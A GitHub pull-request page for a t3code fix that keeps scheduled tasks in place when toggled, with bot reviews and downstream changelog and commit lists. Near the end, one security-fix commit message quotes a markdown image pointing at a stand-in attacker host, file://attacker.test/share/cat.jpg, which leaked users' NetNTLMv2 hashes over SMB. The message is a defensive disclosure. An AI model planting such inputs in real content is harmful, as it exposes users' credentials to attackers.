Skip to content

fix(server): scheduled tasks no longer jump to the top when toggled - #22899

Merged
t3dotgg merged 2 commits into
mainfrom
takeover/21450-stable-task-order
Oct 21, 2026
Merged

t3dotgg merged 2 commits into
mainfrom
takeover/21450-stable-task-order

Conversation

@t3dotgg

@t3dotgg t3dotgg commented Oct 21, 2026

Copy link
Copy Markdown
Member

Toggling a scheduled task in Settings > Scheduled Tasks moved it to the top of the list. The row above slid under the pointer, so the next click could toggle a different task.

Takeover of #21450 by @only21mil. Their commit is kept with its authorship. I only added the ManagedProjectFolders test layer that main now requires, so the new test runs.

The list query sorts by created_at DESC instead of updated_at DESC. Toggles, runs, and edits rewrite updated_at, but nothing changes created_at after insert, so rows keep their place and new tasks still show first. Web settings, the thread Automations section, mobile settings, and list_scheduled_tasks all read this one list. listDueTasks keeps its own next_run_at order, so dispatch order does not change.

Proof: the new test in ScheduledTaskService.schedule.test.ts fails with main's service file (received [older, newer] after the toggle) and passes here. vp test run src/scheduledTasks/ (7 files, 74 tests) and vp run check:changed pass. I did not run the app; the original PR has real web, iOS, and Android before/after screenshots.

Closes #16390

Made by Claude Opus 5.5 in Claude Code, running in T3 Code.
🤖 Generated with Claude Code

only21mil and others added 2 commits October 21, 2026 06:20
The scheduled task list sorted by updated_at, which toggles, run
start/finish and edits all rewrite. Clients render that order as-is,
so toggling a task moved it to the top and slid another row's switch
under the pointer.

Sort by created_at DESC instead. New tasks still appear first, and
nothing after creation changes a row's position. listDueTasks keeps
its own next_run_at ordering, so dispatch order is unchanged.

Fixes #16390

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
… now needs

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
@github-actions github-actions Bot added vouch:trusted PR author is trusted by repo permissions or the VOUCHED list. size:XS 0-9 changed lines (additions + deletions). labels Oct 21, 2026
@macroscopeapp

macroscopeapp Bot commented Oct 21, 2026

Copy link
Copy Markdown
Contributor

Approvability

Verdict: Needs Human Approval

Macroscope's review found this PR requires human approval — The change is a narrowly scoped scheduled-task ordering fix with regression coverage, switching the list from update-time ordering to stable creation-time ordering while leaving dispatch ordering unchanged. Because this changes the default ordering users see in the product, it warrants review under the repository's approval policy.

You can add or adjust custom eligibility rules. Learn more.

@github-actions

Copy link
Copy Markdown
Contributor

Thread transfer impact

✅ Thread transfer remains within every enforced ceiling.

Provider Metric Main baseline This PR Impact PR ceiling
Codex Total thread wire 4.9 KiB 5.0 KiB +23 B (+0.5%) 6.8 KiB ✅
Codex Thread snapshot wire 3.8 KiB 3.8 KiB 0 B (0.0%) 4.9 KiB ✅
Codex Live turn WebSocket wire 1.2 KiB 1.2 KiB +23 B (+1.9%) 2.0 KiB ✅
Codex Live turn WebSocket decoded 20.8 KiB 20.9 KiB +41 B (+0.2%) 29.3 KiB ✅
Codex Live turn messages 1 2 +1 (+100.0%) 8 ✅
Claude Total thread wire 5.0 KiB 5.0 KiB 0 B (0.0%) 6.8 KiB ✅
Claude Thread snapshot wire 3.8 KiB 3.8 KiB 0 B (0.0%) 4.9 KiB ✅
Claude Live turn WebSocket wire 1.2 KiB 1.2 KiB 0 B (0.0%) 2.0 KiB ✅
Claude Live turn WebSocket decoded 21.2 KiB 21.2 KiB 0 B (0.0%) 29.3 KiB ✅
Claude Live turn messages 2 2 0 (0.0%) 8 ✅

Baseline: e822ba7 · PR result: e30cd87 · Source CI: success

Scenario and decoded snapshot size

10 historical turns, 5 command tools per turn, 878.9 KiB retained MCP result per historical turn, and a 1.05 MiB retained result in the measured turn.

  • Codex decoded thread snapshot: 108.5 KiB
  • Claude decoded thread snapshot: 108.8 KiB

Updated in place by a trusted workflow. PR artifacts are strictly validated and never executed.

@coderabbitai

coderabbitai Bot commented Oct 21, 2026

Copy link
Copy Markdown
Contributor

Review in Change Stack →

No actionable comments were generated in the recent review. 🎉

ℹ️ Recent review info
⚙️ Run configuration
  • Configuration used: Path: .coderabbit.config.ts
  • Review profile: CHILL
  • Plan: Team
  • Run ID: 2e1e1734-3c7d-4d0f-9e54-fd15322da47f
📥 Commits

Reviewing files that changed from the base of the PR and between e822ba7 and e30cd87.

📒 Files selected for processing: 2
  • apps/server/src/scheduledTasks/ScheduledTaskService.schedule.test.ts
  • apps/server/src/scheduledTasks/ScheduledTaskService.ts

Included review availability: This review used your included allowance. Your plan provides up to 10 included reviews per hour; 1 remain after this review.

📝 Walkthrough

The scheduled-task list now orders tasks by created_at DESC, task_id ASC instead of mutable updated_at. An integration test verifies that toggling or editing a task does not change its position.

Changes: Scheduled-task list ordering

Layer / File(s) Summary
Stable ordering and regression test
apps/server/src/scheduledTasks/ScheduledTaskService.ts, apps/server/src/scheduledTasks/ScheduledTaskService.schedule.test.ts
The list query uses creation time and task ID for ordering. The integration test confirms that toggling and editing an older task do not reorder the list.

Priority: ➖ Normal

Estimated code review effort: 2 (Simple) | ~10 minutes

Change: Bug fix · Severity of issue fixed: Medium

Suggested reviewers: juliusmarminge

Merge Risk: ⚪ Minimal · up to e30cd

The change appears ready to merge after normal checks. Confirm the intended sort direction if the linked issue’s oldest-first proposal is still required.

Pre-merge checks: Passed 4
Check name Status Explanation
Title check Passed The title clearly describes the primary fix: scheduled tasks no longer move to the top when toggled. It uses a concise conventional commit format.
Description check Passed The description covers the problem, implementation, scope, affected list consumers, verification results, limitations, issue reference, and agent metadata. It is sufficiently complete for the required…
Linked Issues check Passed Issue [#16390] requires a scheduled task toggle to keep the task in the same visual position. ScheduledTaskService.selectAllRows now orders by immutable created_at DESC, task_id ASC instead of mut…
Out of Scope Changes check Passed The pull request changes only the scheduled-task list ordering and adds a regression test for toggle and edit stability. Both changes directly support issue [#16390]. No unrelated product behavior or …
Full details: Description check

Explanation

The description covers the problem, implementation, scope, affected list consumers, verification results, limitations, issue reference, and agent metadata. It is sufficiently complete for the required template.

Full details: Linked Issues check

Explanation

Issue [#16390] requires a scheduled task toggle to keep the task in the same visual position. ScheduledTaskService.selectAllRows now orders by immutable created_at DESC, task_id ASC instead of mutable updated_at. The added test creates two tasks and verifies the order after setEnabled and an edit rewrite updated_at. The separate listDueTasks query retains next_run_at ordering. The issue's proposed ASC direction is not required by its expected behavior; the current DESC order also remains stable and keeps new tasks first.

Full details: Out of Scope Changes check

Explanation

The pull request changes only the scheduled-task list ordering and adds a regression test for toggle and edit stability. Both changes directly support issue [#16390]. No unrelated product behavior or unrelated files are included in the reviewed diff.

✨ Finishing Touches
📝 Generate docstrings
  • Commit to this branch
  • Create a new PR
🧪 Generate unit tests (beta)
  • Commit to this branch
  • Create a new PR
  • Autofix · Keep fixing CodeRabbit findings and required CI, and resolving merge conflicts

Comment @coderabbitai help to get the list of available commands.

@t3dotgg
t3dotgg merged commit 1b22228 into main Oct 21, 2026
29 checks passed
@t3dotgg
t3dotgg deleted the takeover/21450-stable-task-order branch October 21, 2026 22:08
github-actions Bot added a commit to omarcresp/t3code-flake that referenced this pull request Oct 22, 2026
## What's Changed
* docs(agents): proof for a bug fix depends on the bug by @juliusmarminge in pingdotgg/t3code#23008
* fix(server): removing a worktree on Windows no longer deletes what its junctions point to by @SunkenInTime in pingdotgg/t3code#21099
* perf(web): a streaming thread re-renders only its own sidebar row by @juliusmarminge in pingdotgg/t3code#22730
* refactor(web): the add environment dialog owns its form state by @juliusmarminge in pingdotgg/t3code#22686
* fix(desktop): use Clerk's upstream fix for abandoned browser sign-ins by @wobsoriano in pingdotgg/t3code#23038
* feat: show automation messages as compact timeline rows by @juliusmarminge in pingdotgg/t3code#22638
* feat(server,web,mobile): approvals in full access say why Claude asked by @juliusmarminge in pingdotgg/t3code#22546
* feat(claude): idle compaction has a global default and per-instance overrides by @juliusmarminge in pingdotgg/t3code#23037
* perf(web): typing no longer re-renders the traits picker or attach button by @juliusmarminge in pingdotgg/t3code#23040
* refactor(web): the composer's layout and provider hooks live in their own files by @juliusmarminge in pingdotgg/t3code#23042
* refactor(web): the prompt stash lives in useComposerStash by @juliusmarminge in pingdotgg/t3code#23046
* refactor(web): composer context imports live in useComposerContextImport by @juliusmarminge in pingdotgg/t3code#23048
* refactor(web): composer file intake lives in useComposerAttachmentIntake by @juliusmarminge in pingdotgg/t3code#23049
* refactor(web): the composer's footer controls render in ComposerControlsBar by @juliusmarminge in pingdotgg/t3code#23058
* refactor(web): composer key handling lives in useComposerCommandKey by @juliusmarminge in pingdotgg/t3code#23060
* refactor(web): ChatView's send paths live in useComposerSend by @juliusmarminge in pingdotgg/t3code#23062
* refactor(web): ChatView's terminal actions live in useChatTerminalActions by @juliusmarminge in pingdotgg/t3code#23063
* refactor(web): ChatView's right panel actions live in useRightPanelActions by @juliusmarminge in pingdotgg/t3code#23064
* refactor(web): ChatView's snooze, settle, and checkout actions live in useThreadLifecycle by @juliusmarminge in pingdotgg/t3code#23065
* refactor(web): ChatView's revert, rollback, and fork live in useTimelineRewind by @juliusmarminge in pingdotgg/t3code#23066
* refactor(web): ChatView's attachment preview handoff lives in useAttachmentPreviewHandoff by @juliusmarminge in pingdotgg/t3code#23067
* refactor(web): ChatView's project clone banner lives in useProjectCloneBanner by @juliusmarminge in pingdotgg/t3code#23068
* refactor(web): ChatView's model, mode, and workspace choices live in useComposerSelection by @juliusmarminge in pingdotgg/t3code#23069
* refactor(web): ChatView's pull request checkout lives in usePullRequestDraftThread by @juliusmarminge in pingdotgg/t3code#23070
* refactor(web): ChatView's thread derivations are tested functions in ChatView.logic by @juliusmarminge in pingdotgg/t3code#23071
* refactor(web): ChatView's paste-to-focus, titlebar controls, and timeline overlays move out by @juliusmarminge in pingdotgg/t3code#23072
* fix(cursor): a closed-stream write in the Cursor SDK no longer stops the server by @t3dotgg in pingdotgg/t3code#22897
* fix(server): Codex no longer offers a one-click update for installs it can't detect by @koushikxd in pingdotgg/t3code#22504
* fix(pi): declare properties on MCP tool schemas that omit them by @tlconde in pingdotgg/t3code#21822
* fix(server): a desktop backend whose launcher died shuts down cleanly instead of crashing by @SunkenInTime in pingdotgg/t3code#22471
* fix(mobile): chat feed no longer re-derives on every render by @t3dotgg in pingdotgg/t3code#22913
* docs(user): the outside agents guide says which addresses agents can sign in over by @Gourav224 in pingdotgg/t3code#22377
* fix(server): HTML preview reports a browser start error instead of an internal error by @t3dotgg in pingdotgg/t3code#22895
* fix(tailscale): a timed-out tailscale probe no longer outlives its call by @t3dotgg in pingdotgg/t3code#22900
* docs(composer): queued messages follow the Follow-up behavior setting by @t3dotgg in pingdotgg/t3code#22857
* fix(server): failed provider updates say why by @koushikxd in pingdotgg/t3code#22506
* test(telemetry): keep fixture PIDs from colliding with the test worker by @only21mil in pingdotgg/t3code#21446
* fix(server): server tests resolve the macOS temp dir symlink by @nabettu in pingdotgg/t3code#21442
* fix(scripts): mobile lint fails instead of passing when ktlint or detekt is missing by @t3dotgg in pingdotgg/t3code#22896
* fix(server): t3_thread_read clamps oversized page sizes instead of failing by @t3dotgg in pingdotgg/t3code#22901
* fix(mobile): opening a pull request no longer crashes with "Maximum update depth exceeded" by @nabettu in pingdotgg/t3code#22600
* fix(web): PR Code tab keeps its files after a refresh with an unchanged diff by @t3dotgg in pingdotgg/t3code#22917
* fix(web): finished provider updates no longer leave a hidden spinner in the sidebar by @t3dotgg in pingdotgg/t3code#22912
* fix(composer): mentions of files like `posts.$postId.tsx` or `[id].tsx` stay chips by @t3dotgg in pingdotgg/t3code#22922
* refactor(web): resuming an interrupted run lives in its own hook by @juliusmarminge in pingdotgg/t3code#23087
* refactor(web): proposed-plan follow-ups and implement-in-new-thread live in their own hooks by @juliusmarminge in pingdotgg/t3code#23091
* refactor(web): multiple-model sends live in their own hook by @juliusmarminge in pingdotgg/t3code#23094
* refactor(web): the composer send reads its own settings and draft instead of taking them from ChatView by @juliusmarminge in pingdotgg/t3code#23095
* refactor(web): ComposerControlsBar renders without a memo() wrapper by @juliusmarminge in pingdotgg/t3code#23093
* refactor(web): chat shortcuts live with the hooks that own their actions by @juliusmarminge in pingdotgg/t3code#23097
* refactor(web): ChatView's timeline banners render in ChatBannerLane by @juliusmarminge in pingdotgg/t3code#23101
* fix(web): the branch toolbar and thread details panel stay cached while a reply streams by @juliusmarminge in pingdotgg/t3code#23103
* fix(server): scheduled tasks no longer jump to the top when toggled by @t3dotgg in pingdotgg/t3code#22899
* fix(server): Forgejo and GitCafe pull requests link to their threads again by @MarcoDotIO in pingdotgg/t3code#22937
* fix(server): pushes the remote refuses say why instead of a generic failure by @t3dotgg in pingdotgg/t3code#22904
* fix(composer): typing a price no longer opens the skill menu by @MarcoDotIO in pingdotgg/t3code#21519
* fix(web): thread details PR merge uses the last selected merge method by @tris203 in pingdotgg/t3code#22399
* fix(web): a Usage toggle shortcut now goes back instead of staying on Usage by @t3dotgg in pingdotgg/t3code#22905
* fix(web): quote comment box stays on screen for long code lines by @EtanHey in pingdotgg/t3code#22149
* fix(web): right panel launcher letters open their surface instead of typing into the composer by @t3dotgg in pingdotgg/t3code#22898
* fix(web): ../ file links outside the workspace open as host files by @t3dotgg in pingdotgg/t3code#22853
* fix(shared): recognize relative folder links with trailing slash by @macodev00 in pingdotgg/t3code#22188
* fix(client): usage limits skip disabled connections by @M4NU5 in pingdotgg/t3code#22936
* fix(web): imported VS Code themes keep destructive buttons red by @lgollut in pingdotgg/t3code#21924
* fix(shared): Azure DevOps repositories with a space in the name list their pull requests by @Tabonx in pingdotgg/t3code#22782
* fix(opencode): cancelled todos no longer keep the todo list running by @MarcoDotIO in pingdotgg/t3code#22938
* fix(web): copy to machine clones the fork, not its upstream by @AKolenda in pingdotgg/t3code#22492
* fix(server): JetBrains IDEs open file links at the right column by @levochkaa in pingdotgg/t3code#22826
* fix(server): sync pull request draft status changes by @Yash-Singh1 in pingdotgg/t3code#22832
* test(web): chat shortcut test types through the composer handle by @juliusmarminge in pingdotgg/t3code#23126
* fix(source-control): merge messages drop Claude Code's current claude.com footer by @MarcoDotIO in pingdotgg/t3code#23133

## New Contributors
* @Gourav224 made their first contribution in pingdotgg/t3code#22377
* @nabettu made their first contribution in pingdotgg/t3code#21442
* @MarcoDotIO made their first contribution in pingdotgg/t3code#22937
* @M4NU5 made their first contribution in pingdotgg/t3code#22936
* @lgollut made their first contribution in pingdotgg/t3code#21924
* @Tabonx made their first contribution in pingdotgg/t3code#22782
* @levochkaa made their first contribution in pingdotgg/t3code#22826

**Full Changelog**: pingdotgg/t3code@v0.1.2-nightly.20261021.3486...v0.1.2-nightly.20261021.3499

Upstream release: https://github.com/pingdotgg/t3code/releases/tag/v0.1.2-nightly.20261021.3499
drenkas added a commit to drenkas/sigma-t3 that referenced this pull request Oct 22, 2026
* fix(server): agents get a short, current model list instead of a 55k-character catalog dump (pingdotgg#22889)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* docs(agents): proof for a bug fix depends on the bug (pingdotgg#23008)

Co-authored-by: Claude Fable 5.1 <noreply@anthropic.com>

* fix(server): removing a worktree on Windows no longer deletes what its junctions point to (pingdotgg#21099)

Co-authored-by: sheehanmunim <80079528+sheehanmunim@users.noreply.github.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Co-authored-by: Julius Marminge <julius0216@outlook.com>

* perf(web): a streaming thread re-renders only its own sidebar row (pingdotgg#22730)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): the add environment dialog owns its form state (pingdotgg#22686)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(desktop): use Clerk's upstream fix for abandoned browser sign-ins (pingdotgg#23038)

* feat: show automation messages as compact timeline rows (pingdotgg#22638)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* feat(server,web,mobile): approvals in full access say why Claude asked (pingdotgg#22546)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* feat(claude): idle compaction has a global default and per-instance overrides (pingdotgg#23037)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* perf(web): typing no longer re-renders the traits picker or attach button (pingdotgg#23040)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): the composer's layout and provider hooks live in their own files (pingdotgg#23042)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): the prompt stash lives in useComposerStash (pingdotgg#23046)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): composer context imports live in useComposerContextImport (pingdotgg#23048)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): composer file intake lives in useComposerAttachmentIntake (pingdotgg#23049)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): the composer's footer controls render in ComposerControlsBar (pingdotgg#23058)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): composer key handling lives in useComposerCommandKey (pingdotgg#23060)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's send paths live in useComposerSend (pingdotgg#23062)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's terminal actions live in useChatTerminalActions (pingdotgg#23063)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's right panel actions live in useRightPanelActions (pingdotgg#23064)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's snooze, settle, and checkout actions live in useThreadLifecycle (pingdotgg#23065)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's revert, rollback, and fork live in useTimelineRewind (pingdotgg#23066)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's attachment preview handoff lives in useAttachmentPreviewHandoff (pingdotgg#23067)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's project clone banner lives in useProjectCloneBanner (pingdotgg#23068)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's model, mode, and workspace choices live in useComposerSelection (pingdotgg#23069)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's pull request checkout lives in usePullRequestDraftThread (pingdotgg#23070)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's thread derivations are tested functions in ChatView.logic (pingdotgg#23071)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's paste-to-focus, titlebar controls, and timeline overlays move out (pingdotgg#23072)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(cursor): a closed-stream write in the Cursor SDK no longer stops the server (pingdotgg#22897)

Co-authored-by: MarMarLabs <marmar9615@icloud.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): Codex no longer offers a one-click update for installs it can't detect (pingdotgg#22504)

* fix(pi): declare properties on MCP tool schemas that omit them (pingdotgg#21822)

Co-authored-by: Claude Sonnet 5.5 <noreply@anthropic.com>

* fix(server): a desktop backend whose launcher died shuts down cleanly instead of crashing (pingdotgg#22471)

* fix(mobile): chat feed no longer re-derives on every render (pingdotgg#22913)

Co-authored-by: flamboh <oliver.boorstein@gmail.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* docs(user): the outside agents guide says which addresses agents can sign in over (pingdotgg#22377)

Co-authored-by: Claude Sonnet 5.5 <noreply@anthropic.com>

* fix(server): HTML preview reports a browser start error instead of an internal error (pingdotgg#22895)

Co-authored-by: ScottN-PV <snorteman@gmail.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(tailscale): a timed-out tailscale probe no longer outlives its call (pingdotgg#22900)

Co-authored-by: fixfon <12512757+fixfon@users.noreply.github.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* docs(composer): queued messages follow the Follow-up behavior setting (pingdotgg#22857)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): failed provider updates say why (pingdotgg#22506)

* test(telemetry): keep fixture PIDs from colliding with the test worker (pingdotgg#21446)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): server tests resolve the macOS temp dir symlink (pingdotgg#21442)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(scripts): mobile lint fails instead of passing when ktlint or detekt is missing (pingdotgg#22896)

Co-authored-by: Shubh <shubh@shubhxho.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): t3_thread_read clamps oversized page sizes instead of failing (pingdotgg#22901)

Co-authored-by: fixfon <12512757+fixfon@users.noreply.github.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Co-authored-by: grey-tsosie <45133231+grey-tsosie@users.noreply.github.com>

* fix(mobile): opening a pull request no longer crashes with "Maximum update depth exceeded" (pingdotgg#22600)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(web): PR Code tab keeps its files after a refresh with an unchanged diff (pingdotgg#22917)

Co-authored-by: Rodrigo Brechard <rodrigo@clubtidy.fr>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(web): finished provider updates no longer leave a hidden spinner in the sidebar (pingdotgg#22912)

Co-authored-by: 1kuna <47035140+1kuna@users.noreply.github.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(composer): mentions of files like `posts.$postId.tsx` or `[id].tsx` stay chips (pingdotgg#22922)

Co-authored-by: Victor Vogel <satsdev@only21mil.xyz>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): resuming an interrupted run lives in its own hook (pingdotgg#23087)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): proposed-plan follow-ups and implement-in-new-thread live in their own hooks (pingdotgg#23091)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): multiple-model sends live in their own hook (pingdotgg#23094)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): the composer send reads its own settings and draft instead of taking them from ChatView (pingdotgg#23095)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ComposerControlsBar renders without a memo() wrapper (pingdotgg#23093)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): chat shortcuts live with the hooks that own their actions (pingdotgg#23097)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's timeline banners render in ChatBannerLane (pingdotgg#23101)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(web): the branch toolbar and thread details panel stay cached while a reply streams (pingdotgg#23103)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): scheduled tasks no longer jump to the top when toggled (pingdotgg#22899)

Co-authored-by: Victor Vogel <satsdev@only21mil.xyz>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): Forgejo and GitCafe pull requests link to their threads again (pingdotgg#22937)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): pushes the remote refuses say why instead of a generic failure (pingdotgg#22904)

Co-authored-by: fixfon <12512757+fixfon@users.noreply.github.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(composer): typing a price no longer opens the skill menu (pingdotgg#21519)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(web): thread details PR merge uses the last selected merge method (pingdotgg#22399)

* fix(web): a Usage toggle shortcut now goes back instead of staying on Usage (pingdotgg#22905)

Co-authored-by: Victor Vogel <satsdev@only21mil.xyz>
Co-authored-by: GPT-6.1 Sol <noreply@openai.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(web): quote comment box stays on screen for long code lines (pingdotgg#22149)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(web): right panel launcher letters open their surface instead of typing into the composer (pingdotgg#22898)

Co-authored-by: fixfon <12512757+fixfon@users.noreply.github.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(web): ../ file links outside the workspace open as host files (pingdotgg#22853)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(shared): recognize relative folder links with trailing slash (pingdotgg#22188)

Co-authored-by: macodev00 <macodev00@users.noreply.github.com>

* fix(client): usage limits skip disabled connections (pingdotgg#22936)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(web): imported VS Code themes keep destructive buttons red (pingdotgg#21924)

* fix(shared): Azure DevOps repositories with a space in the name list their pull requests (pingdotgg#22782)

* fix(opencode): cancelled todos no longer keep the todo list running (pingdotgg#22938)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(web): copy to machine clones the fork, not its upstream (pingdotgg#22492)

* fix(server): JetBrains IDEs open file links at the right column (pingdotgg#22826)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): sync pull request draft status changes (pingdotgg#22832)

* test(web): chat shortcut test types through the composer handle (pingdotgg#23126)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* Merge commit from fork

A markdown image such as ![x](file://attacker.test/share/cat.jpg), or a raw
\\host\share path, was classified as a host file. Rendering it asked the
server for a signed asset URL, and the server's realpath on the resulting UNC
path made Windows open an SMB session and send the user's NetNTLMv2 response
to the attacker's host, with no click and no tool call. File-link chips did
the same through filesystem.getMetadata, which stats every absolute path, and
storage cleanup stats the store paths in a worktree's pnpm manifest, which an
agent can write.

Network paths (two leading separators, as Windows reads them: \\h, //h, /\h)
now only resolve inside the thread's project, so projects on a share keep
working:

- clients block them in markdown images and stop treating them as file links
- the web stops asking for their metadata
- the server refuses them for media assets and file reads outside the
  project, never stats one for metadata, and storage cleanup ignores a pnpm
  manifest that names one
- each check hands the filesystem the resolved path it approved, since
  Windows reads a `\\?\` path as written, `..` included

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(source-control): merge messages drop Claude Code's current claude.com footer (pingdotgg#23133)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(build): pin Node 26.12.1 for development and standalone releases (pingdotgg#23165)

* fix(mobile): keep Duo toolbar actions clear of workspace tabs (pingdotgg#22976)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): respect Duo safe areas in overlays (pingdotgg#22977)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): retain resting scroll offsets through Duo inset changes (pingdotgg#22978)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): deliver the first tab selection after Duo folding (pingdotgg#22979)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): use native full-width sheets on iPhone Duo (pingdotgg#22980)

Co-authored-by: Pixel Perfect <me@pixp.cc>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): the pull requests tab's empty detail asks for a pull request (pingdotgg#23143)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): the iPhone Duo keeps list titles through folds and unfolds with its sidebar (pingdotgg#23144)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): the iPhone Duo searches from a field at the bottom of its list (pingdotgg#23145)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): a closed search no longer risks freezing the app (pingdotgg#23146)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): folding the Duo keeps the thread's end or the reader's line in place (pingdotgg#23147)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): the iPhone Duo's search field and composer line up with its tab bar (pingdotgg#23148)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): Screens 5.0.0-t3.36 stops an iPhone Duo unfold crash (pingdotgg#23149)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): the iPhone Duo's inspector panes use the full column (pingdotgg#23150)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(gitcafe): show line counts on linked and listed pull requests (pingdotgg#22633)

* docs(import): correct conversation size and batch limits (pingdotgg#23226)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): stop abandoned turns before continuing threads (pingdotgg#23169)

* feat(server): export how long runs take and how they end (pingdotgg#22094)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): new-thread heading clears the iPad header (pingdotgg#23206)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(pi): fork completed turns while the next turn is running (pingdotgg#23052)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): drafts swipe to discard and every row move animates (pingdotgg#23205)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* feat(server): webhook filters fan out over arrays with a [] path wildcard (pingdotgg#23282)

Co-authored-by: Claude Fable 5.1 <noreply@anthropic.com>

* fix(web): Arabic and Hebrew text reads and navigates right to left (pingdotgg#22777)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(client-runtime): refresh Git refs when the RPC session changes (pingdotgg#23314)

* fix(web): cap list layout passes to prevent React error 185 (pingdotgg#23315)

* fix(mobile): align iPad composer without shifting on keyboard focus (pingdotgg#23355)

* feat(gitcafe): request reviewers and apply labels on GitCafe pull requests (pingdotgg#23034)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(source-control): clones retry over HTTPS when the SSH key is refused (pingdotgg#23170)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): the iOS composer reopens where you left a long draft (pingdotgg#23096)

Co-authored-by: Vishal <vishalprashantdoshi@gmail.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Co-authored-by: PR Batch Tester <agent@local.test>
